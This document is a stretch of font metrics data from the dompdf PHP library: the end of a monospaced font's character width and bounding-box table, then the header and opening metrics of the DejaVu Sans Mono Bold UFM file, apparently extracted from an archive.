C 62 ; WX 600 ; N greater ; B 85 42 599 472 ;
C 63 ; WX 600 ; N question ; B 222 -15 583 572 ;
C 64 ; WX 600 ; N at ; B 127 -15 582 622 ;
C 65 ; WX 600 ; N A ; B 3 0 607 562 ;
C 66 ; WX 600 ; N B ; B 43 0 616 562 ;
C 67 ; WX 600 ; N C ; B 93 -18 655 580 ;
C 68 ; WX 600 ; N D ; B 43 0 645 562 ;
C 69 ; WX 600 ; N E ; B 53 0 660 562 ;
C 70 ; WX 600 ; N F ; B 53 0 660 562 ;
C 71 ; WX 600 ; N G ; B 83 -18 645 580 ;
C 72 ; WX 600 ; N H ; B 32 0 687 562 ;
C 73 ; WX 600 ; N I ; B 96 0 623 562 ;
C 74 ; WX 600 ; N J ; B 52 -18 685 562 ;
C 75 ; WX 600 ; N K ; B 38 0 671 562 ;
C 76 ; WX 600 ; N L ; B 47 0 607 562 ;
C 77 ; WX 600 ; N M ; B 4 0 715 562 ;
C 78 ; WX 600 ; N N ; B 7 -13 712 562 ;
C 79 ; WX 600 ; N O ; B 94 -18 625 580 ;
C 80 ; WX 600 ; N P ; B 79 0 644 562 ;
C 81 ; WX 600 ; N Q ; B 95 -138 625 580 ;
C 82 ; WX 600 ; N R ; B 38 0 598 562 ;
C 83 ; WX 600 ; N S ; B 76 -20 650 580 ;
C 84 ; WX 600 ; N T ; B 108 0 665 562 ;
C 85 ; WX 600 ; N U ; B 125 -18 702 562 ;
C 86 ; WX 600 ; N V ; B 105 -13 723 562 ;
C 87 ; WX 600 ; N W ; B 106 -13 722 562 ;
C 88 ; WX 600 ; N X ; B 23 0 675 562 ;
C 89 ; WX 600 ; N Y ; B 133 0 695 562 ;
C 90 ; WX 600 ; N Z ; B 86 0 610 562 ;
C 91 ; WX 600 ; N bracketleft ; B 246 -108 574 622 ;
C 92 ; WX 600 ; N backslash ; B 249 -80 468 629 ;
C 93 ; WX 600 ; N bracketright ; B 135 -108 463 622 ;
C 94 ; WX 600 ; N asciicircum ; B 175 354 587 622 ;
C 95 ; WX 600 ; N underscore ; B -27 -125 584 -75 ;
C 145 ; WX 600 ; N quoteleft ; B 343 328 457 562 ;
C 97 ; WX 600 ; N a ; B 76 -15 569 441 ;
C 98 ; WX 600 ; N b ; B 29 -15 625 629 ;
C 99 ; WX 600 ; N c ; B 106 -15 608 441 ;
C 100 ; WX 600 ; N d ; B 85 -15 640 629 ;
C 101 ; WX 600 ; N e ; B 106 -15 598 441 ;
C 102 ; WX 600 ; N f ; B 114 0 662 629 ; L i fi ; L l fl ;
C 103 ; WX 600 ; N g ; B 61 -157 657 441 ;
C 104 ; WX 600 ; N h ; B 33 0 592 629 ;
C 105 ; WX 600 ; N i ; B 95 0 515 657 ;
C 106 ; WX 600 ; N j ; B 52 -157 550 657 ;
C 107 ; WX 600 ; N k ; B 58 0 633 629 ;
C 108 ; WX 600 ; N l ; B 95 0 515 629 ;
C 109 ; WX 600 ; N m ; B -5 0 615 441 ;
C 110 ; WX 600 ; N n ; B 26 0 585 441 ;
C 111 ; WX 600 ; N o ; B 102 -15 588 441 ;
C 112 ; WX 600 ; N p ; B -24 -157 605 441 ;
C 113 ; WX 600 ; N q ; B 85 -157 682 441 ;
C 114 ; WX 600 ; N r ; B 60 0 636 441 ;
C 115 ; WX 600 ; N s ; B 78 -15 584 441 ;
C 116 ; WX 600 ; N t ; B 167 -15 561 561 ;
C 117 ; WX 600 ; N u ; B 101 -15 572 426 ;
C 118 ; WX 600 ; N v ; B 90 -10 681 426 ;
C 119 ; WX 600 ; N w ; B 76 -10 695 426 ;
C 120 ; WX 600 ; N x ; B 20 0 655 426 ;
C 121 ; WX 600 ; N y ; B -4 -157 683 426 ;
C 122 ; WX 600 ; N z ; B 99 0 593 426 ;
C 123 ; WX 600 ; N braceleft ; B 233 -108 569 622 ;
C 124 ; WX 600 ; N bar ; B 222 -250 485 750 ;
C 125 ; WX 600 ; N braceright ; B 140 -108 477 622 ;
C 126 ; WX 600 ; N asciitilde ; B 116 197 600 320 ;
C 161 ; WX 600 ; N exclamdown ; B 225 -157 445 430 ;
C 162 ; WX 600 ; N cent ; B 151 -49 588 614 ;
C 163 ; WX 600 ; N sterling ; B 124 -21 621 611 ;
C -1 ; WX 600 ; N fraction ; B 84 -57 646 665 ;
C 165 ; WX 600 ; N yen ; B 120 0 693 562 ;
C 131 ; WX 600 ; N florin ; B -26 -143 671 622 ;
C 167 ; WX 600 ; N section ; B 104 -78 590 580 ;
C 164 ; WX 600 ; N currency ; B 94 58 628 506 ;
C 39 ; WX 600 ; N quotesingle ; B 345 328 460 562 ;
C 147 ; WX 600 ; N quotedblleft ; B 262 328 541 562 ;
C 171 ; WX 600 ; N guillemotleft ; B 92 70 652 446 ;
C 139 ; WX 600 ; N guilsinglleft ; B 204 70 540 446 ;
C 155 ; WX 600 ; N guilsinglright ; B 170 70 506 446 ;
C -1 ; WX 600 ; N fi ; B 3 0 619 629 ;
C -1 ; WX 600 ; N fl ; B 3 0 619 629 ;
C 150 ; WX 600 ; N endash ; B 124 231 586 285 ;
C 134 ; WX 600 ; N dagger ; B 217 -78 546 580 ;
C 135 ; WX 600 ; N daggerdbl ; B 163 -78 546 580 ;
C 183 ; WX 600 ; N periodcentered ; B 275 189 434 327 ;
C 182 ; WX 600 ; N paragraph ; B 100 -78 630 562 ;
C 149 ; WX 600 ; N bullet ; B 224 130 485 383 ;
C 130 ; WX 600 ; N quotesinglbase ; B 185 -134 397 100 ;
C 132 ; WX 600 ; N quotedblbase ; B 115 -134 478 100 ;
C 148 ; WX 600 ; N quotedblright ; B 213 328 576 562 ;
C 187 ; WX 600 ; N guillemotright ; B 58 70 618 446 ;
C 133 ; WX 600 ; N ellipsis ; B 46 -15 575 111 ;
C 137 ; WX 600 ; N perthousand ; B 59 -15 627 622 ;
C 191 ; WX 600 ; N questiondown ; B 105 -157 466 430 ;
C 96 ; WX 600 ; N grave ; B 294 497 484 672 ;
C 180 ; WX 600 ; N acute ; B 348 497 612 672 ;
C 136 ; WX 600 ; N circumflex ; B 229 477 581 654 ;
C 152 ; WX 600 ; N tilde ; B 212 489 629 606 ;
C 175 ; WX 600 ; N macron ; B 232 525 600 565 ;
C -1 ; WX 600 ; N breve ; B 279 501 576 609 ;
C -1 ; WX 600 ; N dotaccent ; B 373 537 478 640 ;
C 168 ; WX 600 ; N dieresis ; B 272 537 579 640 ;
C -1 ; WX 600 ; N ring ; B 332 463 500 627 ;
C 184 ; WX 600 ; N cedilla ; B 197 -151 344 10 ;
C -1 ; WX 600 ; N hungarumlaut ; B 239 497 683 672 ;
C -1 ; WX 600 ; N ogonek ; B 189 -172 377 4 ;
C -1 ; WX 600 ; N caron ; B 262 492 614 669 ;
C 151 ; WX 600 ; N emdash ; B 49 231 661 285 ;
C 198 ; WX 600 ; N AE ; B 3 0 655 562 ;
C 170 ; WX 600 ; N ordfeminine ; B 209 249 512 580 ;
C -1 ; WX 600 ; N Lslash ; B 47 0 607 562 ;
C 216 ; WX 600 ; N Oslash ; B 94 -80 625 629 ;
C 140 ; WX 600 ; N OE ; B 59 0 672 562 ;
C 186 ; WX 600 ; N ordmasculine ; B 210 249 535 580 ;
C 230 ; WX 600 ; N ae ; B 41 -15 626 441 ;
C -1 ; WX 600 ; N dotlessi ; B 95 0 515 426 ;
C -1 ; WX 600 ; N lslash ; B 95 0 587 629 ;
C 248 ; WX 600 ; N oslash ; B 102 -80 588 506 ;
C 156 ; WX 600 ; N oe ; B 54 -15 615 441 ;
C 223 ; WX 600 ; N germandbls ; B 48 -15 617 629 ;
C 207 ; WX 600 ; N Idieresis ; B 96 0 623 753 ;
C 233 ; WX 600 ; N eacute ; B 106 -15 612 672 ;
C -1 ; WX 600 ; N abreve ; B 76 -15 576 609 ;
C -1 ; WX 600 ; N uhungarumlaut ; B 101 -15 723 672 ;
C -1 ; WX 600 ; N ecaron ; B 106 -15 614 669 ;
C 159 ; WX 600 ; N Ydieresis ; B 133 0 695 753 ;
C 247 ; WX 600 ; N divide ; B 136 48 573 467 ;
C 221 ; WX 600 ; N Yacute ; B 133 0 695 805 ;
C 194 ; WX 600 ; N Acircumflex ; B 3 0 607 787 ;
C 225 ; WX 600 ; N aacute ; B 76 -15 612 672 ;
C 219 ; WX 600 ; N Ucircumflex ; B 125 -18 702 787 ;
C 253 ; WX 600 ; N yacute ; B -4 -157 683 672 ;
C -1 ; WX 600 ; N scommaaccent ; B 78 -250 584 441 ;
C 234 ; WX 600 ; N ecircumflex ; B 106 -15 598 654 ;
C -1 ; WX 600 ; N Uring ; B 125 -18 702 760 ;
C 220 ; WX 600 ; N Udieresis ; B 125 -18 702 753 ;
C -1 ; WX 600 ; N aogonek ; B 76 -172 569 441 ;
C 218 ; WX 600 ; N Uacute ; B 125 -18 702 805 ;
C -1 ; WX 600 ; N uogonek ; B 101 -172 572 426 ;
C 203 ; WX 600 ; N Edieresis ; B 53 0 660 753 ;
C -1 ; WX 600 ; N Dcroat ; B 43 0 645 562 ;
C -1 ; WX 600 ; N commaaccent ; B 145 -250 323 -58 ;
C 169 ; WX 600 ; N copyright ; B 53 -18 667 580 ;
C -1 ; WX 600 ; N Emacron ; B 53 0 660 698 ;
C -1 ; WX 600 ; N ccaron ; B 106 -15 614 669 ;
C 229 ; WX 600 ; N aring ; B 76 -15 569 627 ;
C -1 ; WX 600 ; N Ncommaaccent ; B 7 -250 712 562 ;
C -1 ; WX 600 ; N lacute ; B 95 0 640 805 ;
C 224 ; WX 600 ; N agrave ; B 76 -15 569 672 ;
C -1 ; WX 600 ; N Tcommaaccent ; B 108 -250 665 562 ;
C -1 ; WX 600 ; N Cacute ; B 93 -18 655 805 ;
C 227 ; WX 600 ; N atilde ; B 76 -15 629 606 ;
C -1 ; WX 600 ; N Edotaccent ; B 53 0 660 753 ;
C 154 ; WX 600 ; N scaron ; B 78 -15 614 669 ;
C -1 ; WX 600 ; N scedilla ; B 78 -151 584 441 ;
C 237 ; WX 600 ; N iacute ; B 95 0 612 672 ;
C -1 ; WX 600 ; N lozenge ; B 94 0 519 706 ;
C -1 ; WX 600 ; N Rcaron ; B 38 0 642 802 ;
C -1 ; WX 600 ; N Gcommaaccent ; B 83 -250 645 580 ;
C 251 ; WX 600 ; N ucircumflex ; B 101 -15 572 654 ;
C 226 ; WX 600 ; N acircumflex ; B 76 -15 581 654 ;
C -1 ; WX 600 ; N Amacron ; B 3 0 607 698 ;
C -1 ; WX 600 ; N rcaron ; B 60 0 636 669 ;
C 231 ; WX 600 ; N ccedilla ; B 106 -151 614 441 ;
C -1 ; WX 600 ; N Zdotaccent ; B 86 0 610 753 ;
C 222 ; WX 600 ; N Thorn ; B 79 0 606 562 ;
C -1 ; WX 600 ; N Omacron ; B 94 -18 628 698 ;
C -1 ; WX 600 ; N Racute ; B 38 0 670 805 ;
C -1 ; WX 600 ; N Sacute ; B 76 -20 650 805 ;
C -1 ; WX 600 ; N dcaron ; B 85 -15 849 629 ;
C -1 ; WX 600 ; N Umacron ; B 125 -18 702 698 ;
C -1 ; WX 600 ; N uring ; B 101 -15 572 627 ;
C 179 ; WX 600 ; N threesuperior ; B 213 240 501 622 ;
C 210 ; WX 600 ; N Ograve ; B 94 -18 625 805 ;
C 192 ; WX 600 ; N Agrave ; B 3 0 607 805 ;
C -1 ; WX 600 ; N Abreve ; B 3 0 607 732 ;
C 215 ; WX 600 ; N multiply ; B 103 43 607 470 ;
C 250 ; WX 600 ; N uacute ; B 101 -15 602 672 ;
C -1 ; WX 600 ; N Tcaron ; B 108 0 665 802 ;
C -1 ; WX 600 ; N partialdiff ; B 45 -38 546 710 ;
C 255 ; WX 600 ; N ydieresis ; B -4 -157 683 620 ;
C -1 ; WX 600 ; N Nacute ; B 7 -13 712 805 ;
C 238 ; WX 600 ; N icircumflex ; B 95 0 551 654 ;
C 202 ; WX 600 ; N Ecircumflex ; B 53 0 660 787 ;
C 228 ; WX 600 ; N adieresis ; B 76 -15 575 620 ;
C 235 ; WX 600 ; N edieresis ; B 106 -15 598 620 ;
C -1 ; WX 600 ; N cacute ; B 106 -15 612 672 ;
C -1 ; WX 600 ; N nacute ; B 26 0 602 672 ;
C -1 ; WX 600 ; N umacron ; B 101 -15 600 565 ;
C -1 ; WX 600 ; N Ncaron ; B 7 -13 712 802 ;
C 205 ; WX 600 ; N Iacute ; B 96 0 640 805 ;
C 177 ; WX 600 ; N plusminus ; B 96 44 594 558 ;
C 166 ; WX 600 ; N brokenbar ; B 238 -175 469 675 ;
C 174 ; WX 600 ; N registered ; B 53 -18 667 580 ;
C -1 ; WX 600 ; N Gbreve ; B 83 -18 645 732 ;
C -1 ; WX 600 ; N Idotaccent ; B 96 0 623 753 ;
C -1 ; WX 600 ; N summation ; B 15 -10 670 706 ;
C 200 ; WX 600 ; N Egrave ; B 53 0 660 805 ;
C -1 ; WX 600 ; N racute ; B 60 0 636 672 ;
C -1 ; WX 600 ; N omacron ; B 102 -15 600 565 ;
C -1 ; WX 600 ; N Zacute ; B 86 0 670 805 ;
C 142 ; WX 600 ; N Zcaron ; B 86 0 642 802 ;
C -1 ; WX 600 ; N greaterequal ; B 98 0 594 710 ;
C 208 ; WX 600 ; N Eth ; B 43 0 645 562 ;
C 199 ; WX 600 ; N Ccedilla ; B 93 -151 658 580 ;
C -1 ; WX 600 ; N lcommaaccent ; B 95 -250 515 629 ;
C -1 ; WX 600 ; N tcaron ; B 167 -15 587 717 ;
C -1 ; WX 600 ; N eogonek ; B 106 -172 598 441 ;
C -1 ; WX 600 ; N Uogonek ; B 124 -172 702 562 ;
C 193 ; WX 600 ; N Aacute ; B 3 0 660 805 ;
C 196 ; WX 600 ; N Adieresis ; B 3 0 607 753 ;
C 232 ; WX 600 ; N egrave ; B 106 -15 598 672 ;
C -1 ; WX 600 ; N zacute ; B 99 0 612 672 ;
C -1 ; WX 600 ; N iogonek ; B 95 -172 515 657 ;
C 211 ; WX 600 ; N Oacute ; B 94 -18 640 805 ;
C 243 ; WX 600 ; N oacute ; B 102 -15 612 672 ;
C -1 ; WX 600 ; N amacron ; B 76 -15 600 565 ;
C -1 ; WX 600 ; N sacute ; B 78 -15 612 672 ;
C 239 ; WX 600 ; N idieresis ; B 95 0 545 620 ;
C 212 ; WX 600 ; N Ocircumflex ; B 94 -18 625 787 ;
C 217 ; WX 600 ; N Ugrave ; B 125 -18 702 805 ;
C -1 ; WX 600 ; N Delta ; B 6 0 598 688 ;
C 254 ; WX 600 ; N thorn ; B -24 -157 605 629 ;
C 178 ; WX 600 ; N twosuperior ; B 230 249 535 622 ;
C 214 ; WX 600 ; N Odieresis ; B 94 -18 625 753 ;
C 181 ; WX 600 ; N mu ; B 72 -157 572 426 ;
C 236 ; WX 600 ; N igrave ; B 95 0 515 672 ;
C -1 ; WX 600 ; N ohungarumlaut ; B 102 -15 723 672 ;
C -1 ; WX 600 ; N Eogonek ; B 53 -172 660 562 ;
C -1 ; WX 600 ; N dcroat ; B 85 -15 704 629 ;
C 190 ; WX 600 ; N threequarters ; B 73 -56 659 666 ;
C -1 ; WX 600 ; N Scedilla ; B 76 -151 650 580 ;
C -1 ; WX 600 ; N lcaron ; B 95 0 667 629 ;
C -1 ; WX 600 ; N Kcommaaccent ; B 38 -250 671 562 ;
C -1 ; WX 600 ; N Lacute ; B 47 0 607 805 ;
C 153 ; WX 600 ; N trademark ; B 75 263 742 562 ;
C -1 ; WX 600 ; N edotaccent ; B 106 -15 598 620 ;
C 204 ; WX 600 ; N Igrave ; B 96 0 623 805 ;
C -1 ; WX 600 ; N Imacron ; B 96 0 628 698 ;
C -1 ; WX 600 ; N Lcaron ; B 47 0 632 562 ;
C 189 ; WX 600 ; N onehalf ; B 65 -57 669 665 ;
C -1 ; WX 600 ; N lessequal ; B 98 0 645 710 ;
C 244 ; WX 600 ; N ocircumflex ; B 102 -15 588 654 ;
C 241 ; WX 600 ; N ntilde ; B 26 0 629 606 ;
C -1 ; WX 600 ; N Uhungarumlaut ; B 125 -18 761 805 ;
C 201 ; WX 600 ; N Eacute ; B 53 0 670 805 ;
C -1 ; WX 600 ; N emacron ; B 106 -15 600 565 ;
C -1 ; WX 600 ; N gbreve ; B 61 -157 657 609 ;
C 188 ; WX 600 ; N onequarter ; B 65 -57 674 665 ;
C 138 ; WX 600 ; N Scaron ; B 76 -20 672 802 ;
C -1 ; WX 600 ; N Scommaaccent ; B 76 -250 650 580 ;
C -1 ; WX 600 ; N Ohungarumlaut ; B 94 -18 751 805 ;
C 176 ; WX 600 ; N degree ; B 214 269 576 622 ;
C 242 ; WX 600 ; N ograve ; B 102 -15 588 672 ;
C -1 ; WX 600 ; N Ccaron ; B 93 -18 672 802 ;
C 249 ; WX 600 ; N ugrave ; B 101 -15 572 672 ;
C -1 ; WX 600 ; N radical ; B 85 -15 765 792 ;
C -1 ; WX 600 ; N Dcaron ; B 43 0 645 802 ;
C -1 ; WX 600 ; N rcommaaccent ; B 60 -250 636 441 ;
C 209 ; WX 600 ; N Ntilde ; B 7 -13 712 729 ;
C 245 ; WX 600 ; N otilde ; B 102 -15 629 606 ;
C -1 ; WX 600 ; N Rcommaaccent ; B 38 -250 598 562 ;
C -1 ; WX 600 ; N Lcommaaccent ; B 47 -250 607 562 ;
C 195 ; WX 600 ; N Atilde ; B 3 0 655 729 ;
C -1 ; WX 600 ; N Aogonek ; B 3 -172 607 562 ;
C 197 ; WX 600 ; N Aring ; B 3 0 607 750 ;
C 213 ; WX 600 ; N Otilde ; B 94 -18 655 729 ;
C -1 ; WX 600 ; N zdotaccent ; B 99 0 593 620 ;
C -1 ; WX 600 ; N Ecaron ; B 53 0 660 802 ;
C -1 ; WX 600 ; N Iogonek ; B 96 -172 623 562 ;
C -1 ; WX 600 ; N kcommaaccent ; B 58 -250 633 629 ;
C -1 ; WX 600 ; N minus ; B 129 232 580 283 ;
C 206 ; WX 600 ; N Icircumflex ; B 96 0 623 787 ;
C -1 ; WX 600 ; N ncaron ; B 26 0 614 669 ;
C -1 ; WX 600 ; N tcommaaccent ; B 165 -250 561 561 ;
C 172 ; WX 600 ; N logicalnot ; B 155 108 591 369 ;
C 246 ; WX 600 ; N odieresis ; B 102 -15 588 620 ;
C 252 ; WX 600 ; N udieresis ; B 101 -15 575 620 ;
C -1 ; WX 600 ; N notequal ; B 43 -16 621 529 ;
C -1 ; WX 600 ; N gcommaaccent ; B 61 -157 657 708 ;
C 240 ; WX 600 ; N eth ; B 102 -15 639 629 ;
C 158 ; WX 600 ; N zcaron ; B 99 0 624 669 ;
C -1 ; WX 600 ; N ncommaaccent ; B 26 -250 585 441 ;
C 185 ; WX 600 ; N onesuperior ; B 231 249 491 622 ;
C -1 ; WX 600 ; N imacron ; B 95 0 543 565 ;
C 128 ; WX 600 ; N Euro ; B 0 0 0 0 ;
EndCharMetrics
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/DejaVuSansMono-Bold.ufm000066600000352015151150443010016711 0ustar00StartFontMetrics 4.1
Notice Converted by PHP-font-lib
Comment https://github.com/PhenX/php-font-lib
EncodingScheme FontSpecific
FontName DejaVu Sans Mono
FontSubfamily Bold
UniqueID DejaVu Sans Mono Bold
FullName DejaVu Sans Mono Bold
Version Version 2.37
PostScriptName DejaVuSansMono-Bold
Manufacturer DejaVu fonts team
FontVendorURL http://dejavu.sourceforge.net
LicenseURL http://dejavu.sourceforge.net/wiki/index.php/License
Weight Bold
ItalicAngle 0
IsFixedPitch true
UnderlineThickness 44
UnderlinePosition -63
FontHeightOffset 0
Ascender 928
Descender -236
FontBBox -447 -394 731 1041
StartCharMetrics 3316
U 32 ; WX 602 ; N space ; G 3
U 33 ; WX 602 ; N exclam ; G 4
U 34 ; WX 602 ; N quotedbl ; G 5
U 35 ; WX 602 ; N numbersign ; G 6
U 36 ; WX 602 ; N dollar ; G 7
U 37 ; WX 602 ; N percent ; G 8
U 38 ; WX 602 ; N ampersand ; G 9
U 39 ; WX 602 ; N quotesingle ; G 10
U 40 ; WX 602 ; N parenleft ; G 11
U 41 ; WX 602 ; N parenright ; G 12
U 42 ; WX 602 ; N asterisk ; G 13
U 43 ; WX 602 ; N plus ; G 14
U 44 ; WX 602 ; N comma ; G 15
U 45 ; WX 602 ; N hyphen ; G 16
U 46 ; WX 602 ; N period ; G 17
U 47 ; WX 602 ; N slash ; G 18
U 48 ; WX 602 ; N zero ; G 19
U 49 ; WX 602 ; N one ; G 20
U 50 ; WX 602 ; N two ; G 21
U 51 ; WX 602 ; N three ; G 22
U 52 ; WX 602 ; N four ; G 23
U 53 ; WX 602 ; N five ; G 24
U 54 ; WX 602 ; N six ; G 25
U 55 ; WX 602 ; N seven ; G 26
U 56 ; WX 602 ; N eight ; G 27
U 57 ; WX 602 ; N nine ; G 28
U 58 ; WX 602 ; N colon ; G 29
U 59 ; WX 602 ; N semicolon ; G 30
U 60 ; WX 602 ; N less ; G 31
U 61 ; WX 602 ; N equal ; G 32
U 62 ; WX 602 ; N greater ; G 33
U 63 ; WX 602 ; N question ; G 34
U 64 ; WX 602 ; N at ; G 35
U 65 ; WX 602 ; N A ; G 36
U 66 ; WX 602 ; N B ; G 37
U 67 ; WX 602 ; N C ; G 38
U 68 ; WX 602 ; N D ; G 39
U 69 ; WX 602 ; N E ; G 40
U 70 ; WX 602 ; N F ; G 41
U 71 ; WX 602 ; N G ; G 42
U 72 ; WX 602 ; N H ; G 43
U 73 ; WX 602 ; N I ; G 44
U 74 ; WX 602 ; N J ; G 45
U 75 ; WX 602 ; N K ; G 46
U 76 ; WX 602 ; N L ; G 47
U 77 ; WX 602 ; N M ; G 48
U 78 ; WX 602 ; N N ; G 49
U 79 ; WX 602 ; N O ; G 50
U 80 ; WX 602 ; N P ; G 51
U 81 ; WX 602 ; N Q ; G 52
U 82 ; WX 602 ; N R ; G 53
U 83 ; WX 602 ; N S ; G 54
U 84 ; WX 602 ; N T ; G 55
U 85 ; WX 602 ; N U ; G 56
U 86 ; WX 602 ; N V ; G 57
U 87 ; WX 602 ; N W ; G 58
U 88 ; WX 602 ; N X ; G 59
U 89 ; WX 602 ; N Y ; G 60
U 90 ; WX 602 ; N Z ; G 61
U 91 ; WX 602 ; N bracketleft ; G 62
U 92 ; WX 602 ; N backslash ; G 63
U 93 ; WX 602 ; N bracketright ; G 64
U 94 ; WX 602 ; N asciicircum ; G 65
U 95 ; WX 602 ; N underscore ; G 66
U 96 ; WX 602 ; N grave ; G 67
U 97 ; WX 602 ; N a ; G 68
U 98 ; WX 602 ; N b ; G 69
U 99 ; WX 602 ; N c ; G 70
U 100 ; WX 602 ; N d ; G 71
U 101 ; WX 602 ; N e ; G 72
U 102 ; WX 602 ; N f ; G 73
U 103 ; WX 602 ; N g ; G 74
U 104 ; WX 602 ; N h ; G 75
U 105 ; WX 602 ; N i ; G 76
U 106 ; WX 602 ; N j ; G 77
U 107 ; WX 602 ; N k ; G 78
U 108 ; WX 602 ; N l ; G 79
U 109 ; WX 602 ; N m ; G 80
U 110 ; WX 602 ; N n ; G 81
U 111 ; WX 602 ; N o ; G 82
U 112 ; WX 602 ; N p ; G 83
U 113 ; WX 602 ; N q ; G 84
U 114 ; WX 602 ; N r ; G 85
U 115 ; WX 602 ; N s ; G 86
U 116 ; WX 602 ; N t ; G 87
U 117 ; WX 602 ; N u ; G 88
U 118 ; WX 602 ; N v ; G 89
U 119 ; WX 602 ; N w ; G 90
U 120 ; WX 602 ; N x ; G 91
U 121 ; WX 602 ; N y ; G 92
U 122 ; WX 602 ; N z ; G 93
U 123 ; WX 602 ; N braceleft ; G 94
U 124 ; WX 602 ; N bar ; G 95
U 125 ; WX 602 ; N braceright ; G 96
U 126 ; WX 602 ; N asciitilde ; G 97
U 160 ; WX 602 ; N nbspace ; G 98
U 161 ; WX 602 ; N exclamdown ; G 99
U 162 ; WX 602 ; N cent ; G 100
U 163 ; WX 602 ; N sterling ; G 101
U 164 ; WX 602 ; N currency ; G 102
U 165 ; WX 602 ; N yen ; G 103
U 166 ; WX 602 ; N brokenbar ; G 104
U 167 ; WX 602 ; N section ; G 105
U 168 ; WX 602 ; N dieresis ; G 106
U 169 ; WX 602 ; N copyright ; G 107
U 170 ; WX 602 ; N ordfeminine ; G 108
U 171 ; WX 602 ; N guillemotleft ; G 109
U 172 ; WX 602 ; N logicalnot ; G 110
U 173 ; WX 602 ; N sfthyphen ; G 111
U 174 ; WX 602 ; N registered ; G 112
U 175 ; WX 602 ; N macron ; G 113
U 176 ; WX 602 ; N degree ; G 114
U 177 ; WX 602 ; N plusminus ; G 115
U 178 ; WX 602 ; N twosuperior ; G 116
U 179 ; WX 602 ; N threesuperior ; G 117
U 180 ; WX 602 ; N acute ; G 118
U 181 ; WX 602 ; N mu ; G 119
U 182 ; WX 602 ; N paragraph ; G 120
U 183 ; WX 602 ; N periodcentered ; G 121
U 184 ; WX 602 ; N cedilla ; G 122
U 185 ; WX 602 ; N onesuperior ; G 123
U 186 ; WX 602 ; N ordmasculine ; G 124
U 187 ; WX 602 ; N guillemotright ; G 125
U 188 ; WX 602 ; N onequarter ; G 126
U 189 ; WX 602 ; N onehalf ; G 127
U 190 ; WX 602 ; N threequarters ; G 128
U 191 ; WX 602 ; N questiondown ; G 129
U 192 ; WX 602 ; N Agrave ; G 130
U 193 ; WX 602 ; N Aacute ; G 131
U 194 ; WX 602 ; N Acircumflex ; G 132
U 195 ; WX 602 ; N Atilde ; G 133
U 196 ; WX 602 ; N Adieresis ; G 134
U 197 ; WX 602 ; N Aring ; G 135
U 198 ; WX 602 ; N AE ; G 136
U 199 ; WX 602 ; N Ccedilla ; G 137
U 200 ; WX 602 ; N Egrave ; G 138
U 201 ; WX 602 ; N Eacute ; G 139
U 202 ; WX 602 ; N Ecircumflex ; G 140
U 203 ; WX 602 ; N Edieresis ; G 141
U 204 ; WX 602 ; N Igrave ; G 142
U 205 ; WX 602 ; N Iacute ; G 143
U 206 ; WX 602 ; N Icircumflex ; G 144
U 207 ; WX 602 ; N Idieresis ; G 145
U 208 ; WX 602 ; N Eth ; G 146
U 209 ; WX 602 ; N Ntilde ; G 147
U 210 ; WX 602 ; N Ograve ; G 148
U 211 ; WX 602 ; N Oacute ; G 149
U 212 ; WX 602 ; N Ocircumflex ; G 150
U 213 ; WX 602 ; N Otilde ; G 151
U 214 ; WX 602 ; N Odieresis ; G 152
U 215 ; WX 602 ; N multiply ; G 153
U 216 ; WX 602 ; N Oslash ; G 154
U 217 ; WX 602 ; N Ugrave ; G 155
U 218 ; WX 602 ; N Uacute ; G 156
U 219 ; WX 602 ; N Ucircumflex ; G 157
U 220 ; WX 602 ; N Udieresis ; G 158
U 221 ; WX 602 ; N Yacute ; G 159
U 222 ; WX 602 ; N Thorn ; G 160
U 223 ; WX 602 ; N germandbls ; G 161
U 224 ; WX 602 ; N agrave ; G 162
U 225 ; WX 602 ; N aacute ; G 163
U 226 ; WX 602 ; N acircumflex ; G 164
U 227 ; WX 602 ; N atilde ; G 165
U 228 ; WX 602 ; N adieresis ; G 166
U 229 ; WX 602 ; N aring ; G 167
U 230 ; WX 602 ; N ae ; G 168
U 231 ; WX 602 ; N ccedilla ; G 169
U 232 ; WX 602 ; N egrave ; G 170
U 233 ; WX 602 ; N eacute ; G 171
U 234 ; WX 602 ; N ecircumflex ; G 172
U 235 ; WX 602 ; N edieresis ; G 173
U 236 ; WX 602 ; N igrave ; G 174
U 237 ; WX 602 ; N iacute ; G 175
U 238 ; WX 602 ; N icircumflex ; G 176
U 239 ; WX 602 ; N idieresis ; G 177
U 240 ; WX 602 ; N eth ; G 178
U 241 ; WX 602 ; N ntilde ; G 179
U 242 ; WX 602 ; N ograve ; G 180
U 243 ; WX 602 ; N oacute ; G 181
U 244 ; WX 602 ; N ocircumflex ; G 182
U 245 ; WX 602 ; N otilde ; G 183
U 246 ; WX 602 ; N odieresis ; G 184
U 247 ; WX 602 ; N divide ; G 185
U 248 ; WX 602 ; N oslash ; G 186
U 249 ; WX 602 ; N ugrave ; G 187
U 250 ; WX 602 ; N uacute ; G 188
U 251 ; WX 602 ; N ucircumflex ; G 189
U 252 ; WX 602 ; N udieresis ; G 190
U 253 ; WX 602 ; N yacute ; G 191
U 254 ; WX 602 ; N thorn ; G 192
U 255 ; WX 602 ; N ydieresis ; G 193
U 256 ; WX 602 ; N Amacron ; G 194
U 257 ; WX 602 ; N amacron ; G 195
U 258 ; WX 602 ; N Abreve ; G 196
U 259 ; WX 602 ; N abreve ; G 197
U 260 ; WX 602 ; N Aogonek ; G 198
U 261 ; WX 602 ; N aogonek ; G 199
U 262 ; WX 602 ; N Cacute ; G 200
U 263 ; WX 602 ; N cacute ; G 201
U 264 ; WX 602 ; N Ccircumflex ; G 202
U 265 ; WX 602 ; N ccircumflex ; G 203
U 266 ; WX 602 ; N Cdotaccent ; G 204
U 267 ; WX 602 ; N cdotaccent ; G 205
U 268 ; WX 602 ; N Ccaron ; G 206
U 269 ; WX 602 ; N ccaron ; G 207
U 270 ; WX 602 ; N Dcaron ; G 208
U 271 ; WX 602 ; N dcaron ; G 209
U 272 ; WX 602 ; N Dcroat ; G 210
U 273 ; WX 602 ; N dmacron ; G 211
U 274 ; WX 602 ; N Emacron ; G 212
U 275 ; WX 602 ; N emacron ; G 213
U 276 ; WX 602 ; N Ebreve ; G 214
U 277 ; WX 602 ; N ebreve ; G 215
U 278 ; WX 602 ; N Edotaccent ; G 216
U 279 ; WX 602 ; N edotaccent ; G 217
U 280 ; WX 602 ; N Eogonek ; G 218
U 281 ; WX 602 ; N eogonek ; G 219
U 282 ; WX 602 ; N Ecaron ; G 220
U 283 ; WX 602 ; N ecaron ; G 221
U 284 ; WX 602 ; N Gcircumflex ; G 222
U 285 ; WX 602 ; N gcircumflex ; G 223
